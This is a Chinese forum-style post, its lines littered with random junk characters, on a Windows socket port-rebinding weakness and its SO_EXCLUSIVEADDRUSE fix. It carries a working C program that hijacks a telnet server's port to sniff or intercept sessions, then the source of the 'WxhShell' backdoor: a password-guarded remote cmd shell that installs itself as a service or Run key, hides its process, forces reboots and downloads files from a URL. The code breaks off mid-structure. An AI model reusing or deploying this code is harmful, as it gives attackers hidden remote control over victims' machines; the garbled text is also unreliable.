在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aj}(E+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{8I. `U 5[Pr|AY saddr.sin_family = AF_INET;
pD&&l!i&[ D_8x6`z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;}'D16`j SvR7eC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5 QO34t2 bb
d. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%sRUh0AL _@R0x#p5M 这意味着什么?意味着可以进行如下的攻击:
[{X^c.8G) ?:Bv
iF);/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+[xnZ$Iev *FJZiPy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_.-;5M- OaL\w
D^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7h)iu9j J"FC%\| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qL94SW; )TmHhNo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^OErq&`u CXCpqcC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Dnc<sd; xGI, Lk+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?@n/v
F ,$eK-w #include
<`0h|m'U #include
i9=&;_z #include
3 LdQ]S #include
X*L;.@xA DWORD WINAPI ClientThread(LPVOID lpParam);
)P|[r int main()
ti &J {
8?FbtBAn WORD wVersionRequested;
vaon{2/I DWORD ret;
W}|'#nR WSADATA wsaData;
tbO
H#| BOOL val;
[7YPl9 SOCKADDR_IN saddr;
Dn>%%K@0 SOCKADDR_IN scaddr;
,[A'tUl _ int err;
vO;I(^Q SOCKET s;
]#.]/f
>- SOCKET sc;
Ks\ NE=;5 int caddsize;
d9n?v)<v HANDLE mt;
b<]n%Q'n DWORD tid;
*~/OOH$" wVersionRequested = MAKEWORD( 2, 2 );
8KH\`5< err = WSAStartup( wVersionRequested, &wsaData );
$\k0Nup} if ( err != 0 ) {
|A8/FU2{ printf("error!WSAStartup failed!\n");
WF\)fc#;_o return -1;
ZR\VCVH\^ }
$fgf
Y8 saddr.sin_family = AF_INET;
#);[mW{F &[hLzlrg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d`1I".y =LTmr1? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
A0%}v* saddr.sin_port = htons(23);
+,2Jzl'- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$TI5vhQ {
RQFI'@Ks printf("error!socket failed!\n");
+<prgP`v return -1;
>s` J5I! }
eX_D/25 $ val = TRUE;
jV8q)=}*) //SO_REUSEADDR选项就是可以实现端口重绑定的
s#uJ
;G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"l >Igm {
4ikd M/ printf("error!setsockopt failed!\n");
"YB**Y return -1;
Z;h<6[( }
{hJXj, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U?!>Nd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V
i&*&"q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F_bF qp}Ma8+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'<0J@^vZ {
`
\A(9u* ret=GetLastError();
a
{ab*tM printf("error!bind failed!\n");
srV.)Ur return -1;
{-A^g!jT& }
|+$%kJR= listen(s,2);
#Oha(mRY while(1)
Gy[O)PEEh {
3/#:~a9Q caddsize = sizeof(scaddr);
:{q"G# //接受连接请求
2r%lA\,h$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/CTc7.OYt if(sc!=INVALID_SOCKET)
vLxQ *50v$ {
r",]Voibd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,|88r=} if(mt==NULL)
Z`&4SH=j {
X w .p printf("Thread Creat Failed!\n");
-8N|xQ378 break;
hd 0'u }
<A9y9|>o }
Jdy=_88MD
CloseHandle(mt);
%okzOKKX }
X{kpSA~ closesocket(s);
v2,%K`pAU WSACleanup();
QKE9R-KTE return 0;
`nO71mo }
z_
=Bt DWORD WINAPI ClientThread(LPVOID lpParam)
.ZMW>U> {
fw; rbP! SOCKET ss = (SOCKET)lpParam;
r 6eb}z!i SOCKET sc;
JCY~W=;v unsigned char buf[4096];
8L*GE SOCKADDR_IN saddr;
?`[NFqv_] long num;
~}ET?Q7t DWORD val;
.qA{x bu DWORD ret;
1&:@ //如果是隐藏端口应用的话,可以在此处加一些判断
P_u|-~|\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
f+.T^es saddr.sin_family = AF_INET;
7E!7"2e
a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O@iu aeEW saddr.sin_port = htons(23);
VzJ5.mRQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U4G}DCU {
al+ #y)+ printf("error!socket failed!\n");
i!~'M;S return -1;
""svDfy$ }
s6o>m*{ val = 100;
M/z}p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q o =Kqv {
3gQPKBpc ret = GetLastError();
e5Mln!.o return -1;
d`d0N5\ }
A?Wk
wf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\ (p{t {
u>pBB@ ret = GetLastError();
|Oag,o" return -1;
EVQ0l@K
}
tvd0R$5} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
KS*oxZ {
=e?$ M printf("error!socket connect failed!\n");
YwcPX`eg closesocket(sc);
9%sM*[A closesocket(ss);
gh6d&ucQ^ return -1;
!AJ]j|@VBd }
iqW1#)3'R while(1)
/+e~E;3bO {
iK{T^vvk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gK|R =J //如果是嗅探内容的话,可以再此处进行内容分析和记录
O--7<Q\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B}d.#G+_$x num = recv(ss,buf,4096,0);
k
n8N,,+
if(num>0)
:c8n[+5 send(sc,buf,num,0);
X bkb5EkA else if(num==0)
(Vg}Hh?p break;
_#o'
+_Z num = recv(sc,buf,4096,0);
}1-I[q6 if(num>0)
V[a[i>,Z send(ss,buf,num,0);
>"3>fche else if(num==0)
XN,,cU break;
F^!mI7Z|(2 }
0uCT+- closesocket(ss);
4e9q`~sO closesocket(sc);
<Q<+4Y{R return 0 ;
9j*0D(" }
8RwX= +\# Fd BKU'`5` ==========================================================
~YCuO0t fRTo.u 下边附上一个代码,,WXhSHELL
Mp\<cE 6aOp[-Le ==========================================================
)gR=<oa 1px\K8 #include "stdafx.h"
nws"RcP+Z FbACTeB #include <stdio.h>
A<YsfDa_d #include <string.h>
j;K#] #include <windows.h>
O7aLlZdg~ #include <winsock2.h>
u1K\@jlw #include <winsvc.h>
NE|[o0On #include <urlmon.h>
0=v{RQ;W4 ^+?|Qfi #pragma comment (lib, "Ws2_32.lib")
)y7_qxwbV #pragma comment (lib, "urlmon.lib")
em2_pq9q t^EhE #define MAX_USER 100 // 最大客户端连接数
d`Q7"}uZ #define BUF_SOCK 200 // sock buffer
6Gn4asoA #define KEY_BUFF 255 // 输入 buffer
> 7`&0? f"&Xr!b.h #define REBOOT 0 // 重启
#k5#j4!b #define SHUTDOWN 1 // 关机
}fhHXGK. :6;e\UE #define DEF_PORT 5000 // 监听端口
?a/n<V ' 5nCu~<uJ #define REG_LEN 16 // 注册表键长度
``?6=mO #define SVC_LEN 80 // NT服务名长度
A~lIa$U$b PI5j"u UO // 从dll定义API
@{Py % typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3]E(mRX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|kiJ}oy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,yLw$- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iz}sM>^ Qu{cB^Ga* // wxhshell配置信息
EY>8O+ struct WSCFG {
`{FwTZ=6{ int ws_port; // 监听端口
Zzd/K^gg char ws_passstr[REG_LEN]; // 口令
+lO'wa7|3 int ws_autoins; // 安装标记, 1=yes 0=no
igDyp0t char ws_regname[REG_LEN]; // 注册表键名
nbd Gt char ws_svcname[REG_LEN]; // 服务名
EH`0 char ws_svcdisp[SVC_LEN]; // 服务显示名
%hT4qzJj char ws_svcdesc[SVC_LEN]; // 服务描述信息
aW5~Be$
_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7el<5chZ int ws_downexe; // 下载执行标记, 1=yes 0=no
9EF~l9`'U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L~FTr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ACBQ3 BH : };
r>qA $zD^ w! q& // default Wxhshell configuration
I6OSC&A` struct WSCFG wscfg={DEF_PORT,
<6N_at3 "xuhuanlingzhe",
)wf\F6jN 1,
q"aPJ0ni' "Wxhshell",
W7G9Kx1Y "Wxhshell",
E*v]:kok "WxhShell Service",
,J9}.}Hd "Wrsky Windows CmdShell Service",
'UDBV "Please Input Your Password: ",
& QZV q" 1,
m =&j@ "
http://www.wrsky.com/wxhshell.exe",
(N U0Tw "Wxhshell.exe"
=v" xmx&4 };
`"y{;PCt_ _GbE^ // 消息定义模块
Z^tGu7x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fCEz-TMW char *msg_ws_prompt="\n\r? for help\n\r#>";
= hX[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z6=~1'<X char *msg_ws_ext="\n\rExit.";
&`:rp!Lc char *msg_ws_end="\n\rQuit.";
,# "(Z char *msg_ws_boot="\n\rReboot...";
aMCO"66b char *msg_ws_poff="\n\rShutdown...";
j|'R$| char *msg_ws_down="\n\rSave to ";
T+TF-] J <]#o*_aFP char *msg_ws_err="\n\rErr!";
-0~IY char *msg_ws_ok="\n\rOK!";
r*cjOrvI
,8SWe char ExeFile[MAX_PATH];
?ei%RWo int nUser = 0;
>riq98Us/ HANDLE handles[MAX_USER];
,hE/II`-d' int OsIsNt;
ch,| 1}bi ZzL@[g SERVICE_STATUS serviceStatus;
F2oJ]th.3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
<%,'$^'DS X!0kK8v // 函数声明
VJ1*|r, int Install(void);
q`loOm=y int Uninstall(void);
:Ee ?K int DownloadFile(char *sURL, SOCKET wsh);
],?pe int Boot(int flag);
.98.G4J> void HideProc(void);
ul}'{|4 int GetOsVer(void);
q,,j',8kq/ int Wxhshell(SOCKET wsl);
(UW6F4:$ void TalkWithClient(void *cs);
(
Yi=v'd int CmdShell(SOCKET sock);
^]rxhpS int StartFromService(void);
u_'nOle
K int StartWxhshell(LPSTR lpCmdLine);
G\mKCaI8
<qn, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H'Iq~Ft1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
HU[oR4E i=da,W=0 // 数据结构和表定义
5^|"_Q#: SERVICE_TABLE_ENTRY DispatchTable[] =
LkaG[^tfN {
rUFFF'm\*a {wscfg.ws_svcname, NTServiceMain},
"#XtDpGk {NULL, NULL}
y"R("j $ };
?cBO6^ 9 }n,@@ // 自我安装
W8.j/K: int Install(void)
/W9
&Ke {
4I.1D2 1jA char svExeFile[MAX_PATH];
-h9#G{2W[ HKEY key;
:1BM=_WwI strcpy(svExeFile,ExeFile);
{h^c <[8@5 ?&& // 如果是win9x系统,修改注册表设为自启动
"
~n3iNkP if(!OsIsNt) {
=L16hDk o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xvO 3BU~2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C@)pmSQ RegCloseKey(key);
rys<-i( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/d]~ly
@uI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3jg'1^c RegCloseKey(key);
y1Z1=U*! return 0;
GXEcpc08 }
qp1\I$Y }
4f
jC }
K!7q!%Ju else {
Z%;)@0~f ) BlJ|M // 如果是NT以上系统,安装为系统服务
zkG>u,B} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3*2I$e!Jt if (schSCManager!=0)
GRQ_+K {
n>T:2PQ3 SC_HANDLE schService = CreateService
|Pf(J;'[ (
D@5s8xv schSCManager,
M4H"].Zm wscfg.ws_svcname,
c'~[!,[b< wscfg.ws_svcdisp,
Ut':$l= SERVICE_ALL_ACCESS,
:Fo4O'UC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Uir*%*4: SERVICE_AUTO_START,
0k.v0a7% SERVICE_ERROR_NORMAL,
aYBTrOd z svExeFile,
\L
%q[ NULL,
Rd vn)K NULL,
Y'&8L'2Z[ NULL,
wVQdUtmk NULL,
,$PFI(Whk NULL
x i.IRAZX );
a G@nErdW if (schService!=0)
yYB NH1 {
A8mlw#`E8b CloseServiceHandle(schService);
+0U#.|? CloseServiceHandle(schSCManager);
z[Z2H5[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hafECs strcat(svExeFile,wscfg.ws_svcname);
4D GY6PS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Y@ObwKcG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Kc-4W6?$ RegCloseKey(key);
m1i4 , return 0;
n/?eZx1 }
-3\7vpcdN }
u'=(&>< CloseServiceHandle(schSCManager);
TIETj~+ }
pIvfmIm }
3)xb nRk 8T<@ @6`T return 1;
>6k}HrS1V }
/'mrDb_ip =9fEv,Jk // 自我卸载
SF"#\{cjj int Uninstall(void)
6SV7\,2M {
sK `<kbj HKEY key;
>eRZ+|k?N "0b?+ 3_{G if(!OsIsNt) {
x'zihDOI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0s)cVYppe RegDeleteValue(key,wscfg.ws_regname);
KjBOjD'I RegCloseKey(key);
jp%+n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wLpkUa RegDeleteValue(key,wscfg.ws_regname);
}$<^wt RegCloseKey(key);
v7L"` return 0;
ZWFG?8lJ }
#n=A)#'my }
Q
g$($
}
{v,{x1 else {
})KJ60B nW~$
(Qnd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5Yn{?r\#F if (schSCManager!=0)
W _J&M4 {
)
b/n)%6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0~qf-x if (schService!=0)
B~WK)UR {
wKGogf[(% if(DeleteService(schService)!=0) {
WN$R[N CloseServiceHandle(schService);
RZW$!tyI= CloseServiceHandle(schSCManager);
%3rTQ:X return 0;
Xthtw * }
(=`Z0)= CloseServiceHandle(schService);
qw5&Y$(( }
W=UqX{-j) CloseServiceHandle(schSCManager);
^Wif!u/HM }
VccM=w%* }
6g}^Q?cpV# DCt\E/ return 1;
|xp$OL"a }
Hw\([j* *}>Bkq9h // 从指定url下载文件
lxo.,n) int DownloadFile(char *sURL, SOCKET wsh)
r }ZLf {
c6t2Q6zV HRESULT hr;
>6OCKl char seps[]= "/";
sTt9'P` char *token;
Ze#Jhn@ char *file;
``+c`F?5 char myURL[MAX_PATH];
cES;bwQ char myFILE[MAX_PATH];
$pjf#P8U TH<fbd strcpy(myURL,sURL);
d [)_sa token=strtok(myURL,seps);
qC\]"Z`m while(token!=NULL)
n"mJEkHE {
T~s&)wD file=token;
{a]pF.^kf token=strtok(NULL,seps);
GhtbQM1[H }
K?9WY]Ot "!xvpsy GetCurrentDirectory(MAX_PATH,myFILE);
$U ~=.!_du strcat(myFILE, "\\");
zpbcmQB* strcat(myFILE, file);
tp#Z@5= send(wsh,myFILE,strlen(myFILE),0);
zwMQXI'k83 send(wsh,"...",3,0);
e)*mC oR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$[j-C9W if(hr==S_OK)
5LO4P>fq return 0;
9!5b2!JL else
jaK' W return 1;
aZ I>x^X #!w:_T% }
{An8/"bv} 4sj9Z: // 系统电源模块
+Y^-e.UO int Boot(int flag)
'uPxEu4 >4 {
Sc% aJ1 HANDLE hToken;
l?})_1v,R TOKEN_PRIVILEGES tkp;
|.y>[+Qb* L& I`
# if(OsIsNt) {
4\&H?:c. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?UxG/]", LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
BO8%:/37[4 tkp.PrivilegeCount = 1;
3?.6K0L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^Yf3"D?& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w/qQ(]n8 if(flag==REBOOT) {
uG2Xkj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jAA'hA return 0;
RcY6V_Qx }
se~ *<5 else {
$|>6z_3% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5OPS&: return 0;
?+bTPl;%' }
Tf9&,!>V }
JCM)N8~i else {
UN,<6D3\b if(flag==REBOOT) {
R'vdk< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"CIpo/ebL return 0;
`DI{wqV9 }
<FXQxM5" else {
HT{F$27W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6>@(/mh* return 0;
J% :WLQo }
bk/.<Rt }
+<'uw w;lx:j!Vp$ return 1;
O4lxeiRgC }
{;]uL`abi? :`{9x%o; // win9x进程隐藏模块
*raIV]W3 void HideProc(void)
rE/}hHU {
=@bXGMsV! Q{%HW4lg HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Q.j-C}a if ( hKernel != NULL )
DH}s1mNMP {
uU8*$+ " pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PFImqojHd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h-z%C6 FreeLibrary(hKernel);
+}Qv6s# }
E`oSi
ez) {.s ]\C return;
$-C6pZN(X }
i;E9ZaW W)6U6 // 获取操作系统版本
OU0xZ=G int GetOsVer(void)
d/0/$Bz}P {
X !&"&n OSVERSIONINFO winfo;
NTv#{7q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wo,""=l GetVersionEx(&winfo);
MuCQxzvkhf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e1f^:C return 1;
uKLOh<oio else
V/QTYy1 return 0;
p[ks} mca@ }
tEi@p;Z> sW>P- // 客户端句柄模块
?TL2'U|M int Wxhshell(SOCKET wsl)
}0k"SwX {
Pur"9jHa4 SOCKET wsh;
Hl%+F0^? struct sockaddr_in client;
-L^0-g DWORD myID;
y>)mSl@1y w3>Y7vxiz` while(nUser<MAX_USER)
,gFL Wb`B' {
HB/
_O22 int nSize=sizeof(client);
o=a:L^nt, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7?kXgR[#d if(wsh==INVALID_SOCKET) return 1;
#C;#$|d 2:smt)f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
pl1EJ < if(handles[nUser]==0)
Z'*G'/* closesocket(wsh);
t[H _6) else
|Fh`.iT%c nUser++;
(P]^8qc }
'W<a54T?z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1CF7 44/0}v] return 0;
@&am!+z }
aT`02X
6Dr$*9 // 关闭 socket
U 8qKD void CloseIt(SOCKET wsh)
&?`d8\z {
;
@[.$Q@I closesocket(wsh);
l(0&6ENyj nUser--;
,b2O^tJF# ExitThread(0);
P:zEx]Y% }
1*c0\:BQ;z TkoCyD9 // 客户端请求句柄
% @^VrhS void TalkWithClient(void *cs)
rRA_'t;uK {
2WbZ>^:Nsk `9G$p|6 SOCKET wsh=(SOCKET)cs;
+v `^_ char pwd[SVC_LEN];
1*x5/b char cmd[KEY_BUFF];
@BB,i / char chr[1];
CwCo"%E8} int i,j;
l*m]2"n] sKE*AGFLd while (nUser < MAX_USER) {
*y[~kWI H)?" 8 s if(wscfg.ws_passstr) {
]0/~6f
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+Qb2LR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]UpHD.Of[t //ZeroMemory(pwd,KEY_BUFF);
1W6n[Xg i=0;
&Hp\(" while(i<SVC_LEN) {
7W>}7 *$WiJ3'(m // 设置超时
Z"+rg9/p fd_set FdRead;
.DV#-tUh struct timeval TimeOut;
6|(7G64{ FD_ZERO(&FdRead);
_UbR8 FD_SET(wsh,&FdRead);
^/5E773 TimeOut.tv_sec=8;
^*owD;]4_ TimeOut.tv_usec=0;
8Vg`;_ - int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sN[@mAoH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>P]I&S-. `P)64So-1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
< 8W:ij.` pwd
=chr[0]; F4aJr%!\6S
if(chr[0]==0xd || chr[0]==0xa) { Zj /H3,7
pwd=0; 8xGkh?%
break; P[|BWNei
} }@Ll!,
i++; A.'`FtV
} 1{uDHB
JY,l#?lM{
// 如果是非法用户,关闭 socket V.OoZGE>]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nr*ibtz|D
} y&O_Jyg<
zs]>XO~Jg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0UAr}H.:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qLktMp_
5xn0U5U
while(1) { zDQ\PZ~
b^=8%~?%4
ZeroMemory(cmd,KEY_BUFF); #ui%=ja[:~
`\/Wa h}I
// 自动支持客户端 telnet标准 HN&vk/[
j=0; %/,Uk+3p
while(j<KEY_BUFF) { y^Xxa'y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Se]t;7j
cmd[j]=chr[0]; a!6OE"?QQ
if(chr[0]==0xa || chr[0]==0xd) { 14)kKWG
cmd[j]=0; <pa];k(IQL
break; -<VF6k<
} ^/RM;`h0
j++; Ml_:Q]kl^
} P^{`d_[K%
?2bE=|
// 下载文件 ]a@v)aa-
if(strstr(cmd,"http://")) { mm9S#Ya
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cB{;Nh6"
if(DownloadFile(cmd,wsh)) [7t0[U~3?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <a/ZOuBzZ
else 3kzG L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l#(g&x6J
} $AJy^`E^
else { I]S(tx!
u/{_0-+P
switch(cmd[0]) { U=*q;$L#
qm&53
// 帮助 $EHn;~w T
case '?': { ]r{#268
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l9Cy30O6
break; &wWGZ~T
} I>(z)"1
// 安装 xN~<<PIZ
case 'i': { b|pNc'u:Cn
if(Install()) dIh(~KqB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Z)/
else &T4Cn@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y~\xWYR
break; kc/H
} KgkB)1s@n
// 卸载 @RG3*3(
case 'r': { 9~ .BH;ku
if(Uninstall()) &I">{J<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oGjYCVc
else Y&Nv>o_}5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :.o0<
break; #T#FUI1p
} hD~/6bx
// 显示 wxhshell 所在路径 hCx#H eh
case 'p': { kJ:5msKwC
char svExeFile[MAX_PATH]; (TK
cSVR
strcpy(svExeFile,"\n\r"); ^K@GK
strcat(svExeFile,ExeFile);
R5YtCw]i=
send(wsh,svExeFile,strlen(svExeFile),0); u=N;P
break; xuC6EK+
} _rWXcK3cjr
// 重启 Sf8Xj|u
case 'b': { 63\>MQcLy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,kuFTWB
if(Boot(REBOOT)) ="*C&wB^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \fGYJ37
else { JSP8Lu"n
closesocket(wsh); >L3p qK
ExitThread(0); S6Xw+W02
} w@D@,q'x
break; 8XXTN@&,
} -^%"w
// 关机 RB
0j!H:
case 'd': { O&1p2!Bk4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "e?#c<p7
if(Boot(SHUTDOWN)) lIT2 AFX+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p~y
4q4
else { yOm6HA``hT
closesocket(wsh); |6G5
?|
ExitThread(0); _J#Hq 'K
} aQ3vG08L>
break; iw6M3g#
} +c2>j8e6
// 获取shell J~ rC
case 's': { W`rE\P
CmdShell(wsh); -CNv=vj 3
closesocket(wsh); S 2` ;7
ExitThread(0); S`PSFetC
break; Nr7.BDA
} l`G:@}P>G
// 退出 -x5bdC(d
case 'x': { ^hTJp{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YXOD
fd%L
CloseIt(wsh);
B#lj8I^|
break; DD3yl\#,
} )%W2XvG
// 离开 8U$UI
case 'q': { jWjK -q@Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }|,\?7,
closesocket(wsh); \YyU5f7';
WSACleanup(); %=>xzP(z
exit(1); U-:Z^+Y
break; YS6az0ie
} PhL5EYn
} 2]KPW*V
} :D7!6}%
DO*C]
// 提示信息 0([jD25J!
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Ei#t FMc
} nmAXU!t'
} ^OsUWhkV
M0\[hps~X
return; BuO J0$
} 5q*~h4=r7
N>iCb:_
T;
// shell模块句柄 D($UbT-v
int CmdShell(SOCKET sock) *m/u 3.\
{ PhdL@Mr
STARTUPINFO si; BAed [
ZeroMemory(&si,sizeof(si)); `{[C4]Ew/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >sY+Y 22U
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6<O]_ HZ&
PROCESS_INFORMATION ProcessInfo; %-1-J<<J
q
char cmdline[]="cmd"; ;0{*V5A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KPrxw }P
return 0; G-> @
} $fG/gYvI\
@AyW9!vV;3
// 自身启动模式 k !r z8S"
int StartFromService(void) JB}h}nb
{ WWs>@lCK
typedef struct LB0=V0|
{ 2)]*re)
DWORD ExitStatus; [^P2Kn
DWORD PebBaseAddress; iIRigW
DWORD AffinityMask; 4H'&5
